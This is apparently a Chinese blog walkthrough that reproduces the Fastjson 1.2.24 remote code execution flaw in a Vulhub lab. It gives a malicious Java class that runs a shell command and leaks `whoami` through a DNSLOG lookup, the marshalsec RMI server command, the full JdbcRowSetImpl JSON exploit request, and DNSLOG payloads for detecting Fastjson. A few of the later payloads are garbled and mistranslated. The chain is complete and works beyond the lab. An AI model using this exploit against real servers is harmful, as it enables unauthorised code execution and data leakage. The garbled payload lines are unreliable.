Loading

Fastjson1.2.24RCE漏洞复现

Fastjson1.2.24RCE漏洞复现

环境搭建

这里用的Vulhub靶场

cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d

报错

ERROR: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution

image-20210303223504398

名称解析失效,我的问题是虚拟机NAT网络出了点问题,重启就好了。

参考:https://blog.csdn.net/qq_43743460/article/details/105648139

靶机环境:

Ubuntu 16 :Vulhub

Kali :

jdk 1.8 + maven 3.6.3

image-20210304155432710

如果maven没有安装的话需要自己百度搭一下或者参考我这篇

docker环境起来后访问 ip:8090查看,页面是这样的。

image-20210304155251008

大致流程:

编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令

1234端口用Python起一个SimpleHTTPServer

9999端口利用marshalsec项目起一个RMI服务

HTTPServer与RMI可以在同一个服务器搭

将下面代码写入dnslog.java

import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.DNSLOG地址"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

生成 test.class文件

javac test.java

之后python起一个http服务,监听在1234端口上

python -m SimpleHTTPServer 1234

用marshalsec项目起一个RMI服务,监听9999端口并加载远程类dnslog.class

git clone https://github.com/mbechler/marshalsec.git
# mvn编译 marshalsec项目
mvn clean package -DskipTests

编译完成会出现如下图的 BUILD SUCCESS 的INFO信息。

image-20210304165816369

开启RMI服务并加载dnslog类

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.124.141:4567/#dnslog" 9999

漏洞复现

ok,下面burp抓包发送payload即可,因为DNS解析的问题,第一次解析会有些慢需要多等会。

poc:

POST / HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 174


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.124.141:9999/dnslog",
        "autoCommit":true
    }
}

响应包和DNSLOG:

image-20210305162850434

image-20210305163705407

RMI服务:

image-20210305163917727

SimpleHTTPServer:

image-20210305164047422

判断fastjson

这里参考的是freebuf大佬的思路,主要是根据返回包判断,再一个就是DNSLOG盲打。文末贴上传送门。

即看到json的返回包,抓个包,POST只加个 { 发过去,如果返回包报错存在fastjson字样就确认了。当然这个了能会屏蔽。

比如vulhub靶场这个就不可以了

image-20210308123007949

或构造以下payload,利用dnslog平台接收。

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}


["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":

"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}

Reference

https://www.freebuf.com/articles/web/242712.html

https://www.cnblogs.com/cute-puli/p/13466362.html

posted @ 2021-03-08 12:41  Zh1z3ven  阅读(436)  评论(0编辑  收藏  举报